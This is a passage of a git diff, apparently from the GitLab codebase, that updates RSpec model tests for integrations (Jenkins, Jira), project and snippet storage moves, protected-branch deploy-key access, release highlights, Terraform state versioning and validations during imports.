+ it 'does not reset password if new url is set together with password, even if it\'s the same password' do
+ @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
+ @jenkins_service.password = 'password'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ end
+
+ it 'resets password if url changed, even if setter called multiple times' do
+ @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
+ @jenkins_service.jenkins_url = 'http://jenkins1.example.com/'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to be_nil
+ end
+ end
+
+ context 'when no password was previously set' do
+ before do
+ @jenkins_service = described_class.create!(
+ project: create(:project),
+ properties: {
+ jenkins_url: 'http://jenkins.example.com/',
+ username: 'jenkins'
+ }
+ )
+ end
+
+ it 'saves password if new url is set together with password' do
+ @jenkins_service.jenkins_url = 'http://jenkins_edited.example.com/'
+ @jenkins_service.password = 'password'
+ @jenkins_service.save!
+ expect(@jenkins_service.password).to eq('password')
+ expect(@jenkins_service.jenkins_url).to eq('http://jenkins_edited.example.com/')
+ end
+ end
+ end
+end
diff --git a/spec/models/project_services/jira_service_spec.rb b/spec/models/project_services/jira_service_spec.rb
index 7741fea8717..e7cd3d7f537 100644
--- a/spec/models/project_services/jira_service_spec.rb
+++ b/spec/models/project_services/jira_service_spec.rb
@@ -66,6 +66,19 @@ RSpec.describe JiraService do
end
end
+ describe '#fields' do
+ let(:service) { create(:jira_service) }
+
+ subject(:fields) { service.fields }
+
+ it 'includes transition help link' do
+ transition_id_field = fields.find { |field| field[:name] == 'jira_issue_transition_id' }
+
+ expect(transition_id_field[:title]).to eq('Jira workflow transition IDs')
+ expect(transition_id_field[:help]).to include('/help/user/project/integrations/jira')
+ end
+ end
+
describe 'Associations' do
it { is_expected.to belong_to :project }
it { is_expected.to have_one :service_hook }
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index c8b96963d5d..a71b0eb842a 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -33,6 +33,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_many(:deploy_keys) }
it { is_expected.to have_many(:hooks) }
it { is_expected.to have_many(:protected_branches) }
+ it { is_expected.to have_many(:exported_protected_branches) }
it { is_expected.to have_one(:slack_service) }
it { is_expected.to have_one(:microsoft_teams_service) }
it { is_expected.to have_one(:mattermost_service) }
@@ -146,6 +147,10 @@ RSpec.describe Project, factory_default: :keep do
let(:container_without_wiki) { create(:project) }
end
+ it_behaves_like 'can move repository storage' do
+ let_it_be(:container) { create(:project, :repository) }
+ end
+
it 'has an inverse relationship with merge requests' do
expect(described_class.reflect_on_association(:merge_requests).has_inverse?).to eq(:target_project)
end
@@ -607,6 +612,7 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to delegate_method(:name).to(:owner).with_prefix(true).with_arguments(allow_nil: true) }
it { is_expected.to delegate_method(:root_ancestor).to(:namespace).with_arguments(allow_nil: true) }
it { is_expected.to delegate_method(:last_pipeline).to(:commit).with_arguments(allow_nil: true) }
+ it { is_expected.to delegate_method(:allow_editing_commit_messages?).to(:project_setting) }
end
describe 'reference methods' do
@@ -1534,6 +1540,42 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '.service_desk_custom_address_enabled?' do
+ let_it_be(:project) { create(:project, service_desk_enabled: true) }
+
+ subject(:address_enabled) { project.service_desk_custom_address_enabled? }
+
+ context 'when service_desk_email is enabled' do
+ before do
+ allow(::Gitlab::ServiceDeskEmail).to receive(:enabled?).and_return(true)
+ end
+
+ it 'returns true' do
+ expect(address_enabled).to be_truthy
+ end
+
+ context 'when service_desk_custom_address flag is disabled' do
+ before do
+ stub_feature_flags(service_desk_custom_address: false)
+ end
+
+ it 'returns false' do
+ expect(address_enabled).to be_falsey
+ end
+ end
+ end
+
+ context 'when service_desk_email is disabled' do
+ before do
+ allow(::Gitlab::ServiceDeskEmail).to receive(:enabled?).and_return(false)
+ end
+
+ it 'returns false when service_desk_email is disabled' do
+ expect(address_enabled).to be_falsey
+ end
+ end
+ end
+
describe '.find_by_service_desk_project_key' do
it 'returns the correct project' do
project1 = create(:project)
@@ -3002,39 +3044,6 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe '#set_repository_read_only!' do
- let(:project) { create(:project) }
-
- it 'makes the repository read-only' do
- expect { project.set_repository_read_only! }
- .to change(project, :repository_read_only?)
- .from(false)
- .to(true)
- end
-
- it 'raises an error if the project is already read-only' do
- project.set_repository_read_only!
-
- expect { project.set_repository_read_only! }.to raise_error(described_class::RepositoryReadOnlyError, /already read-only/)
- end
-
- it 'raises an error when there is an existing git transfer in progress' do
- allow(project).to receive(:git_transfer_in_progress?) { true }
-
- expect { project.set_repository_read_only! }.to raise_error(described_class::RepositoryReadOnlyError, /in progress/)
- end
- end
-
- describe '#set_repository_writable!' do
- it 'sets repository_read_only to false' do
- project = create(:project, :read_only)
-
- expect { project.set_repository_writable! }
- .to change(project, :repository_read_only)
- .from(true).to(false)
- end
- end
-
describe '#pushes_since_gc' do
let(:project) { build_stubbed(:project) }
@@ -4281,29 +4290,33 @@ RSpec.describe Project, factory_default: :keep do
end
describe '#git_transfer_in_progress?' do
+ using RSpec::Parameterized::TableSyntax
+
let(:project) { build(:project) }
subject { project.git_transfer_in_progress? }
- it 'returns false when repo_reference_count and wiki_reference_count are 0' do
- allow(project).to receive(:repo_reference_count) { 0 }
- allow(project).to receive(:wiki_reference_count) { 0 }
-
- expect(subject).to be_falsey
+ where(:project_reference_counter, :wiki_reference_counter, :design_reference_counter, :result) do
+ 0 | 0 | 0 | false
+ 2 | 0 | 0 | true
+ 0 | 2 | 0 | true
+ 0 | 0 | 2 | true
end
- it 'returns true when repo_reference_count is > 0' do
- allow(project).to receive(:repo_reference_count) { 2 }
- allow(project).to receive(:wiki_reference_count) { 0 }
-
- expect(subject).to be_truthy
- end
-
- it 'returns true when wiki_reference_count is > 0' do
- allow(project).to receive(:repo_reference_count) { 0 }
- allow(project).to receive(:wiki_reference_count) { 2 }
+ with_them do
+ before do
+ allow(project).to receive(:reference_counter).with(type: Gitlab::GlRepository::PROJECT) do
+ double(:project_reference_counter, value: project_reference_counter)
+ end
+ allow(project).to receive(:reference_counter).with(type: Gitlab::GlRepository::WIKI) do
+ double(:wiki_reference_counter, value: wiki_reference_counter)
+ end
+ allow(project).to receive(:reference_counter).with(type: Gitlab::GlRepository::DESIGN) do
+ double(:design_reference_counter, value: design_reference_counter)
+ end
+ end
- expect(subject).to be_truthy
+ specify { expect(subject).to be result }
end
end
@@ -4929,6 +4942,7 @@ RSpec.describe Project, factory_default: :keep do
expect(project).to receive(:after_create_default_branch)
expect(project).to receive(:refresh_markdown_cache!)
expect(InternalId).to receive(:flush_records!).with(project: project)
+ expect(ProjectCacheWorker).to receive(:perform_async).with(project.id, [], [:repository_size])
expect(DetectRepositoryLanguagesWorker).to receive(:perform_async).with(project.id)
expect(project).to receive(:write_repository_config)
@@ -5019,11 +5033,11 @@ RSpec.describe Project, factory_default: :keep do
end
end
- describe "#default_branch" do
- context "with an empty repository" do
+ describe '#default_branch' do
+ context 'with an empty repository' do
let_it_be(:project) { create(:project_empty_repo) }
- context "group.default_branch_name is available" do
+ context 'group.default_branch_name is available' do
let(:project_group) { create(:group) }
let(:project) { create(:project, path: 'avatar', namespace: project_group) }
@@ -5036,19 +5050,19 @@ RSpec.describe Project, factory_default: :keep do
.and_return('example_branch')
end
- it "returns the group default value" do
- expect(project.default_branch).to eq("example_branch")
+ it 'returns the group default value' do
+ expect(project.default_branch).to eq('example_branch')
end
end
- context "Gitlab::CurrentSettings.default_branch_name is available" do
+ context 'Gitlab::CurrentSettings.default_branch_name is available' do
before do
expect(Gitlab::CurrentSettings)
.to receive(:default_branch_name)
.and_return(example_branch_name)
end
- context "is missing or nil" do
+ context 'is missing or nil' do
let(:example_branch_name) { nil }
it "returns nil" do
@@ -5056,10 +5070,18 @@ RSpec.describe Project, factory_default: :keep do
end
end
- context "is present" do
- let(:example_branch_name) { "example_branch_name" }
+ context 'is blank' do
+ let(:example_branch_name) { '' }
+
+ it 'returns nil' do
+ expect(project.default_branch).to be_nil
+ end
+ end
- it "returns the expected branch name" do
+ context 'is present' do
+ let(:example_branch_name) { 'example_branch_name' }
+
+ it 'returns the expected branch name' do
expect(project.default_branch).to eq(example_branch_name)
end
end
@@ -5564,6 +5586,26 @@ RSpec.describe Project, factory_default: :keep do
end
end
+ describe '#disabled_services' do
+ subject { build(:project).disabled_services }
+
+ context 'without datadog_ci_integration' do
+ before do
+ stub_feature_flags(datadog_ci_integration: false)
+ end
+
+ it { is_expected.to include('datadog') }
+ end
+
+ context 'with datadog_ci_integration' do
+ before do
+ stub_feature_flags(datadog_ci_integration: true)
+ end
+
+ it { is_expected.not_to include('datadog') }
+ end
+ end
+
describe '#find_or_initialize_service' do
it 'avoids N+1 database queries' do
allow(Service).to receive(:available_services_names).and_return(%w[prometheus pushover])
diff --git a/spec/models/project_statistics_spec.rb b/spec/models/project_statistics_spec.rb
index 2d283766edb..cb1baa02e96 100644
--- a/spec/models/project_statistics_spec.rb
+++ b/spec/models/project_statistics_spec.rb
@@ -313,17 +313,6 @@ RSpec.describe ProjectStatistics do
it 'stores the size of related uploaded files' do
expect(statistics.update_uploads_size).to eq(3.megabytes)
end
-
- context 'with feature flag disabled' do
- before do
- statistics.update_columns(uploads_size: 0)
- stub_feature_flags(count_uploads_size_in_storage_stats: false)
- end
-
- it 'does not store the size of related uploaded files' do
- expect(statistics.update_uploads_size).to eq(0)
- end
- end
end
describe '#update_storage_size' do
diff --git a/spec/models/protected_branch/push_access_level_spec.rb b/spec/models/protected_branch/push_access_level_spec.rb
index 0aba51ea567..051cb78a6b6 100644
--- a/spec/models/protected_branch/push_access_level_spec.rb
+++ b/spec/models/protected_branch/push_access_level_spec.rb
@@ -34,4 +34,59 @@ RSpec.describe ProtectedBranch::PushAccessLevel do
expect(level.errors.full_messages).to contain_exactly('Deploy key is not enabled for this project')
end
end
+
+ describe '#check_access' do
+ let_it_be(:project) { create(:project) }
+ let_it_be(:protected_branch) { create(:protected_branch, :no_one_can_push, project: project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:deploy_key) { create(:deploy_key, user: user) }
+ let!(:deploy_keys_project) { create(:deploy_keys_project, project: project, deploy_key: deploy_key, can_push: can_push) }
+ let(:can_push) { true }
+
+ before_all do
+ project.add_guest(user)
+ end
+
+ context 'when this push_access_level is tied to a deploy key' do
+ let(:push_access_level) { create(:protected_branch_push_access_level, protected_branch: protected_branch, deploy_key: deploy_key) }
+
+ context 'when the deploy key is among the active keys for this project' do
+ specify do
+ expect(push_access_level.check_access(user)).to be_truthy
+ end
+
+ context 'when the deploy_keys_on_protected_branches FF is false' do
+ before do
+ stub_feature_flags(deploy_keys_on_protected_branches: false)
+ end
+
+ it 'is false' do
+ expect(push_access_level.check_access(user)).to be_falsey
+ end
+ end
+ end
+
+ context 'when the deploy key is not among the active keys of this project' do
+ let(:can_push) { false }
+
+ it 'is false' do
+ expect(push_access_level.check_access(user)).to be_falsey
+ end
+ end
+ end
+ end
+
+ describe '#type' do
+ let(:push_level_access) { build(:protected_branch_push_access_level) }
+
+ it 'returns :deploy_key when a deploy key is tied to the protected branch' do
+ push_level_access.deploy_key = create(:deploy_key)
+
+ expect(push_level_access.type).to eq(:deploy_key)
+ end
+
+ it 'returns :role by default' do
+ expect(push_level_access.type).to eq(:role)
+ end
+ end
end
diff --git a/spec/models/raw_usage_data_spec.rb b/spec/models/raw_usage_data_spec.rb
index c10db63da56..7acfb8c19af 100644
--- a/spec/models/raw_usage_data_spec.rb
+++ b/spec/models/raw_usage_data_spec.rb
@@ -16,28 +16,10 @@ RSpec.describe RawUsageData do
describe '#update_sent_at!' do
let(:raw_usage_data) { create(:raw_usage_data) }
- context 'with save_raw_usage_data feature enabled' do
- before do
- stub_feature_flags(save_raw_usage_data: true)
- end
+ it 'updates sent_at' do
+ raw_usage_data.update_sent_at!
- it 'updates sent_at' do
- raw_usage_data.update_sent_at!
-
- expect(raw_usage_data.sent_at).not_to be_nil
- end
- end
-
- context 'with save_raw_usage_data feature disabled' do
- before do
- stub_feature_flags(save_raw_usage_data: false)
- end
-
- it 'updates sent_at' do
- raw_usage_data.update_sent_at!
-
- expect(raw_usage_data.sent_at).to be_nil
- end
+ expect(raw_usage_data.sent_at).not_to be_nil
end
end
end
diff --git a/spec/models/release_highlight_spec.rb b/spec/models/release_highlight_spec.rb
new file mode 100644
index 00000000000..ac252e6d6cf
--- /dev/null
+++ b/spec/models/release_highlight_spec.rb
@@ -0,0 +1,181 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ReleaseHighlight do
+ let(:fixture_dir_glob) { Dir.glob(File.join('spec', 'fixtures', 'whats_new', '*.yml')) }
+
+ before do
+ allow(Dir).to receive(:glob).with(Rails.root.join('data', 'whats_new', '*.yml')).and_return(fixture_dir_glob)
+ end
+
+ after do
+ ReleaseHighlight.instance_variable_set(:@file_paths, nil)
+ end
+
+ describe '.for_version' do
+ subject { ReleaseHighlight.for_version(version: version) }
+
+ let(:version) { '1.1' }
+
+ context 'with version param that exists' do
+ it 'returns items from that version' do
+ expect(subject.items.first['title']).to eq("It's gonna be a bright")
+ end
+ end
+
+ context 'with version param that does NOT exist' do
+ let(:version) { '84.0' }
+
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+ end
+
+ describe '.paginated' do
+ let(:dot_com) { false }
+
+ before do
+ allow(Gitlab).to receive(:com?).and_return(dot_com)
+ end
+
+ context 'with page param' do
+ subject { ReleaseHighlight.paginated(page: page) }
+
+ context 'when there is another page of results' do
+ let(:page) { 2 }
+
+ it 'responds with paginated results' do
+ expect(subject[:items].first['title']).to eq('bright')
+ expect(subject[:next_page]).to eq(3)
+ end
+ end
+
+ context 'when there is NOT another page of results' do
+ let(:page) { 3 }
+
+ it 'responds with paginated results and no next_page' do
+ expect(subject[:items].first['title']).to eq("It's gonna be a bright")
+ expect(subject[:next_page]).to eq(nil)
+ end
+ end
+
+ context 'when that specific page does not exist' do
+ let(:page) { 84 }
+
+ it 'returns nil' do
+ expect(subject).to be_nil
+ end
+ end
+ end
+
+ context 'with no page param' do
+ subject { ReleaseHighlight.paginated }
+
+ it 'uses multiple levels of cache' do
+ expect(Rails.cache).to receive(:fetch).with("release_highlight:items:page-1:#{Gitlab.revision}", { expires_in: described_class::CACHE_DURATION }).and_call_original
+ expect(Rails.cache).to receive(:fetch).with("release_highlight:file_paths:#{Gitlab.revision}", { expires_in: described_class::CACHE_DURATION }).and_call_original
+
+ subject
+ end
+
+ it 'returns platform specific items' do
+ expect(subject[:items].count).to eq(1)
+ expect(subject[:items].first['title']).to eq("bright and sunshinin' day")
+ expect(subject[:next_page]).to eq(2)
+ end
+
+ it 'parses the body as markdown and returns html' do
+ expect(subject[:items].first['body']).to match("<h2 id=\"bright-and-sunshinin-day\">bright and sunshinin’ day</h2>")
+ end
+
+ it 'logs an error if theres an error parsing markdown for an item, and skips it' do
+ allow(Kramdown::Document).to receive(:new).and_raise
+
+ expect(Gitlab::ErrorTracking).to receive(:track_exception)
+ expect(subject[:items]).to be_empty
+ end
+
+ context 'when Gitlab.com' do
+ let(:dot_com) { true }
+
+ it 'responds with a different set of data' do
+ expect(subject[:items].count).to eq(1)
+ expect(subject[:items].first['title']).to eq("I think I can make it now the pain is gone")
+ end
+ end
+
+ context 'YAML parsing throws an exception' do
+ it 'fails gracefully and logs an error' do
+ allow(YAML).to receive(:safe_load).and_raise(Psych::Exception)
+
+ expect(Gitlab::ErrorTracking).to receive(:track_exception)
+ expect(subject).to be_nil
+ end
+ end
+ end
+ end
+
+ describe '.most_recent_item_count' do
+ subject { ReleaseHighlight.most_recent_item_count }
+
+ it 'uses process memory cache' do
+ expect(Gitlab::ProcessMemoryCache.cache_backend).to receive(:fetch).with("release_highlight:recent_item_count:#{Gitlab.revision}", expires_in: described_class::CACHE_DURATION)
+
+ subject
+ end
+
+ context 'when recent release items exist' do
+ it 'returns the count from the most recent file' do
+ allow(ReleaseHighlight).to receive(:paginated).and_return(double(:paginated, items: [double(:item)]))
+
+ expect(subject).to eq(1)
+ end
+ end
+
+ context 'when recent release items do NOT exist' do
+ it 'returns nil' do
+ allow(ReleaseHighlight).to receive(:paginated).and_return(nil)
+
+ expect(subject).to be_nil
+ end
+ end
+ end
+
+ describe '.versions' do
+ subject { described_class.versions }
+
+ it 'uses process memory cache' do
+ expect(Gitlab::ProcessMemoryCache.cache_backend).to receive(:fetch).with("release_highlight:versions:#{Gitlab.revision}", { expires_in: described_class::CACHE_DURATION })
+
+ subject
+ end
+
+ it 'returns versions from the file paths' do
+ expect(subject).to eq(['1.5', '1.2', '1.1'])
+ end
+
+ context 'when there are more than 12 versions' do
+ let(:file_paths) do
+ i = 0
+ Array.new(20) { "20201225_01_#{i += 1}.yml" }
+ end
+
+ it 'limits to 12 versions' do
+ allow(ReleaseHighlight).to receive(:file_paths).and_return(file_paths)
+ expect(subject.count).to eq(12)
+ end
+ end
+ end
+
+ describe 'QueryResult' do
+ subject { ReleaseHighlight::QueryResult.new(items: items, next_page: 2) }
+
+ let(:items) { [:item] }
+
+ it 'responds to map' do
+ expect(subject.map(&:to_s)).to eq(items.map(&:to_s))
+ end
+ end
+end
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index 31211f8ff2c..c1f073e26d1 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -2335,7 +2335,7 @@ RSpec.describe Repository do
end
it 'caches the response' do
- expect(repository).to receive(:readme).and_call_original.once
+ expect(repository.head_tree).to receive(:readme_path).and_call_original.once
2.times do
expect(repository.readme_path).to eq("README.md")
diff --git a/spec/models/resource_label_event_spec.rb b/spec/models/resource_label_event_spec.rb
index da1fe70c891..44de83d9240 100644
--- a/spec/models/resource_label_event_spec.rb
+++ b/spec/models/resource_label_event_spec.rb
@@ -51,14 +51,6 @@ RSpec.describe ResourceLabelEvent, type: :model do
end
context 'callbacks' do
- describe '#usage_metrics' do
- it 'tracks changed labels' do
- expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).to receive(:track_issue_label_changed_action)
-
- subject.save!
- end
- end
-
describe '#expire_etag_cache' do
def expect_expiration(issue)
expect_next_instance_of(Gitlab::EtagCaching::Store) do |instance|
diff --git a/spec/models/resource_state_event_spec.rb b/spec/models/resource_state_event_spec.rb
index b8a93bdbe3b..2b4898b750a 100644
--- a/spec/models/resource_state_event_spec.rb
+++ b/spec/models/resource_state_event_spec.rb
@@ -41,7 +41,7 @@ RSpec.describe ResourceStateEvent, type: :model do
end
context 'callbacks' do
- describe '#usage_metrics' do
+ describe '#issue_usage_metrics' do
it 'tracks closed issues' do
expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).to receive(:track_issue_closed_action)
@@ -53,6 +53,12 @@ RSpec.describe ResourceStateEvent, type: :model do
create(described_class.name.underscore.to_sym, issue: issue, state: described_class.states[:reopened])
end
+
+ it 'does not track merge requests' do
+ expect(Gitlab::UsageDataCounters::IssueActivityUniqueCounter).not_to receive(:track_issue_closed_action)
+
+ create(described_class.name.underscore.to_sym, merge_request: merge_request, state: described_class.states[:closed])
+ end
end
end
end
diff --git a/spec/models/sentry_issue_spec.rb b/spec/models/sentry_issue_spec.rb
index 33654bf5e1a..c24350d7067 100644
--- a/spec/models/sentry_issue_spec.rb
+++ b/spec/models/sentry_issue_spec.rb
@@ -27,6 +27,12 @@ RSpec.describe SentryIssue do
expect(duplicate_sentry_issue).to be_invalid
expect(duplicate_sentry_issue.errors.full_messages.first).to include('is already associated')
end
+
+ describe 'when importing' do
+ subject { create(:sentry_issue, importing: true) }
+
+ it { is_expected.not_to validate_presence_of(:issue) }
+ end
end
describe 'callbacks' do
diff --git a/spec/models/service_spec.rb b/spec/models/service_spec.rb
index 402c1a3d19b..04b3920cd6c 100644
--- a/spec/models/service_spec.rb
+++ b/spec/models/service_spec.rb
@@ -245,7 +245,7 @@ RSpec.describe Service do
context 'with a previous existing service (MockCiService) and a new service (Asana)' do
before do
- Service.insert(type: 'MockCiService', instance: true)
+ Service.insert({ type: 'MockCiService', instance: true })
Service.delete_by(type: 'AsanaService', instance: true)
end
@@ -291,7 +291,7 @@ RSpec.describe Service do
context 'with a previous existing service (Previous) and a new service (Asana)' do
before do
- Service.insert(type: 'PreviousService', template: true)
+ Service.insert({ type: 'PreviousService', template: true })
Service.delete_by(type: 'AsanaService', template: true)
end
@@ -916,5 +916,14 @@ RSpec.describe Service do
described_class.available_services_names(include_dev: false)
end
+
+ it { expect(described_class.available_services_names).to include('jenkins') }
+ end
+
+ describe '.project_specific_services_names' do
+ it do
+ expect(described_class.project_specific_services_names)
+ .to include(*described_class::PROJECT_SPECIFIC_SERVICE_NAMES)
+ end
end
end
diff --git a/spec/models/snippet_repository_storage_move_spec.rb b/spec/models/snippet_repository_storage_move_spec.rb
new file mode 100644
index 00000000000..c9feff0c22f
--- /dev/null
+++ b/spec/models/snippet_repository_storage_move_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe SnippetRepositoryStorageMove, type: :model do
+ it_behaves_like 'handles repository moves' do
+ let_it_be_with_refind(:container) { create(:snippet) }
+
+ let(:repository_storage_factory_key) { :snippet_repository_storage_move }
+ let(:error_key) { :snippet }
+ let(:repository_storage_worker) { nil } # TODO set to SnippetUpdateRepositoryStorageWorker after https://gitlab.com/gitlab-org/gitlab/-/issues/218991 is implemented
+ end
+end
diff --git a/spec/models/snippet_spec.rb b/spec/models/snippet_spec.rb
index d74f5faab7f..f87259ea048 100644
--- a/spec/models/snippet_spec.rb
+++ b/spec/models/snippet_spec.rb
@@ -21,6 +21,7 @@ RSpec.describe Snippet do
it { is_expected.to have_many(:user_mentions).class_name("SnippetUserMention") }
it { is_expected.to have_one(:snippet_repository) }
it { is_expected.to have_one(:statistics).class_name('SnippetStatistics').dependent(:destroy) }
+ it { is_expected.to have_many(:repository_storage_moves).class_name('SnippetRepositoryStorageMove').inverse_of(:container) }
end
describe 'validation' do
@@ -481,17 +482,9 @@ RSpec.describe Snippet do
end
describe '#blobs' do
- let(:snippet) { create(:snippet) }
-
- it 'returns a blob representing the snippet data' do
- blob = snippet.blob
-
- expect(blob).to be_a(Blob)
- expect(blob.path).to eq(snippet.file_name)
- expect(blob.data).to eq(snippet.content)
- end
-
context 'when repository does not exist' do
+ let(:snippet) { create(:snippet) }
+
it 'returns empty array' do
expect(snippet.blobs).to be_empty
end
@@ -777,4 +770,30 @@ RSpec.describe Snippet do
it { is_expected.to be_falsey }
end
end
+
+ describe '#git_transfer_in_progress?' do
+ let(:snippet) { build(:snippet) }
+
+ subject { snippet.git_transfer_in_progress? }
+
+ it 'returns true when there are git transfers' do
+ allow(snippet).to receive(:reference_counter).with(type: Gitlab::GlRepository::SNIPPET) do
+ double(:reference_counter, value: 2)
+ end
+
+ expect(subject).to eq true
+ end
+
+ it 'returns false when there are not git transfers' do
+ allow(snippet).to receive(:reference_counter).with(type: Gitlab::GlRepository::SNIPPET) do
+ double(:reference_counter, value: 0)
+ end
+
+ expect(subject).to eq false
+ end
+ end
+
+ it_behaves_like 'can move repository storage' do
+ let_it_be(:container) { create(:snippet, :repository) }
+ end
end
diff --git a/spec/models/suggestion_spec.rb b/spec/models/suggestion_spec.rb
index e88fc13ecee..9a7624c253a 100644
--- a/spec/models/suggestion_spec.rb
+++ b/spec/models/suggestion_spec.rb
@@ -12,6 +12,12 @@ RSpec.describe Suggestion do
describe 'validations' do
it { is_expected.to validate_presence_of(:note) }
+ context 'when importing' do
+ subject { create(:suggestion, importing: true) }
+
+ it { is_expected.not_to validate_presence_of(:note) }
+ end
+
context 'when suggestion is applied' do
before do
allow(subject).to receive(:applied?).and_return(true)
diff --git a/spec/models/system_note_metadata_spec.rb b/spec/models/system_note_metadata_spec.rb
index 9a6b57afb97..144c65d2f62 100644
--- a/spec/models/system_note_metadata_spec.rb
+++ b/spec/models/system_note_metadata_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe SystemNoteMetadata do
context 'when action type is invalid' do
subject do
- build(:system_note_metadata, note: build(:note), action: 'invalid_type' )
+ build(:system_note_metadata, note: build(:note), action: 'invalid_type')
end
it { is_expected.to be_invalid }
@@ -21,7 +21,15 @@ RSpec.describe SystemNoteMetadata do
context 'when action type is valid' do
subject do
- build(:system_note_metadata, note: build(:note), action: 'merge' )
+ build(:system_note_metadata, note: build(:note), action: 'merge')
+ end
+
+ it { is_expected.to be_valid }
+ end
+
+ context 'when importing' do
+ subject do
+ build(:system_note_metadata, note: nil, action: 'merge', importing: true)
end
it { is_expected.to be_valid }
diff --git a/spec/models/terraform/state_spec.rb b/spec/models/terraform/state_spec.rb
index ca8fe4cca3b..ef91e4a5a71 100644
--- a/spec/models/terraform/state_spec.rb
+++ b/spec/models/terraform/state_spec.rb
@@ -3,21 +3,13 @@
require 'spec_helper'
RSpec.describe Terraform::State do
- subject { create(:terraform_state, :with_file) }
-
- let(:terraform_state_file) { fixture_file('terraform/terraform.tfstate') }
-
- it { is_expected.to be_a FileStoreMounter }
+ subject { create(:terraform_state, :with_version) }
it { is_expected.to belong_to(:project) }
it { is_expected.to belong_to(:locked_by_user).class_name('User') }
it { is_expected.to validate_presence_of(:project_id) }
- before do
- stub_terraform_state_object_storage
- end
-
describe 'scopes' do
describe '.ordered_by_name' do
let_it_be(:project) { create(:project) }
@@ -35,64 +27,18 @@ RSpec.describe Terraform::State do
end
end
- describe '#file' do
- context 'when a file exists' do
- it 'does not use the default file' do
- expect(subject.file.read).to eq(terraform_state_file)
- end
- end
- end
-
- describe '#file_store' do
- context 'when a value is set' do
- it 'returns the value' do
- [ObjectStorage::Store::LOCAL, ObjectStorage::Store::REMOTE].each do |store|
- expect(build(:terraform_state, file_store: store).file_store).to eq(store)
- end
- end
- end
- end
-
- describe '#update_file_store' do
- context 'when file is stored in object storage' do
- it_behaves_like 'mounted file in object store'
- end
-
- context 'when file is stored locally' do
- before do
- stub_terraform_state_object_storage(enabled: false)
- end
-
- it_behaves_like 'mounted file in local store'
- end
- end
-
describe '#latest_file' do
- subject { terraform_state.latest_file }
-
- context 'versioning is enabled' do
- let(:terraform_state) { create(:terraform_state, :with_version) }
- let(:latest_version) { terraform_state.latest_version }
-
- it { is_expected.to eq latest_version.file }
-
- context 'but no version exists yet' do
- let(:terraform_state) { create(:terraform_state) }
+ let(:terraform_state) { create(:terraform_state, :with_version) }
+ let(:latest_version) { terraform_state.latest_version }
- it { is_expected.to be_nil }
- end
- end
-
- context 'versioning is disabled' do
- let(:terraform_state) { create(:terraform_state, :with_file) }
+ subject { terraform_state.latest_file }
- it { is_expected.to eq terraform_state.file }
+ it { is_expected.to eq latest_version.file }
- context 'and a version exists (migration to versioned in progress)' do
- let!(:migrated_version) { create(:terraform_state_version, terraform_state: terraform_state) }
+ context 'but no version exists yet' do
+ let(:terraform_state) { create(:terraform_state) }
- it { is_expected.to eq terraform_state.latest_version.file }
- end
+ it { is_expected.to be_nil }
end
end
@@ -115,39 +61,30 @@ RSpec.describe Terraform::State do
end
end
- context 'versioning is disabled' do
- let(:terraform_state) { create(:terraform_state, :with_file) }
-
- it 'modifies the existing state record' do
- expect { subject }.not_to change { Terraform::StateVersion.count }
+ context 'versioning is disabled (migration to versioned in progress)' do
+ let(:terraform_state) { create(:terraform_state, versioning_enabled: false) }
+ let!(:migrated_version) { create(:terraform_state_version, terraform_state: terraform_state, version: 0) }
- expect(terraform_state.latest_file.read).to eq(data)
- end
-
- context 'and a version exists (migration to versioned in progress)' do
- let!(:migrated_version) { create(:terraform_state_version, terraform_state: terraform_state, version: 0) }
+ it 'creates a new version, corrects the migrated version number, and marks the state as versioned' do
+ expect { subject }.to change { Terraform::StateVersion.count }
- it 'creates a new version, corrects the migrated version number, and marks the state as versioned' do
- expect { subject }.to change { Terraform::StateVersion.count }
+ expect(migrated_version.reload.version).to eq(1)
+ expect(migrated_version.file.read).to eq(fixture_file('terraform/terraform.tfstate'))
- expect(migrated_version.reload.version).to eq(1)
- expect(migrated_version.file.read).to eq(terraform_state_file)
+ expect(terraform_state.reload.latest_version.version).to eq(version)
+ expect(terraform_state.latest_version.file.read).to eq(data)
+ expect(terraform_state).to be_versioning_enabled
+ end
- expect(terraform_state.reload.latest_version.version).to eq(version)
- expect(terraform_state.latest_version.file.read).to eq(data)
- expect(terraform_state).to be_versioning_enabled
+ context 'the current version cannot be determined' do
+ before do
+ migrated_version.update!(file: CarrierWaveStringFile.new('invalid-json'))
end
- context 'the current version cannot be determined' do
- before do
- migrated_version.update!(file: CarrierWaveStringFile.new('invalid-json'))
- end
-
- it 'uses version - 1 to correct the migrated version number' do
- expect { subject }.to change { Terraform::StateVersion.count }
+ it 'uses version - 1 to correct the migrated version number' do
+ expect { subject }.to change { Terraform::StateVersion.count }
- expect(migrated_version.reload.version).to eq(2)
- end
+ expect(migrated_version.reload.version).to eq(2)
end
end
end
diff --git a/spec/models/timelog_spec.rb b/spec/models/timelog_spec.rb
index ae1697fb7e6..e9019b55635 100644
--- a/spec/models/timelog_spec.rb
+++ b/spec/models/timelog_spec.rb
@@ -40,6 +40,14 @@ RSpec.describe Timelog do
expect(subject).to be_valid
end
+
+ describe 'when importing' do
+ it 'is valid if issue_id and merge_request_id are missing' do
+ subject.attributes = { issue: nil, merge_request: nil, importing: true }
+
+ expect(subject).to be_valid
+ end
+ end
end
describe 'scopes' do
diff --git a/spec/models/user_spec.rb b/spec/models/user_spec.rb
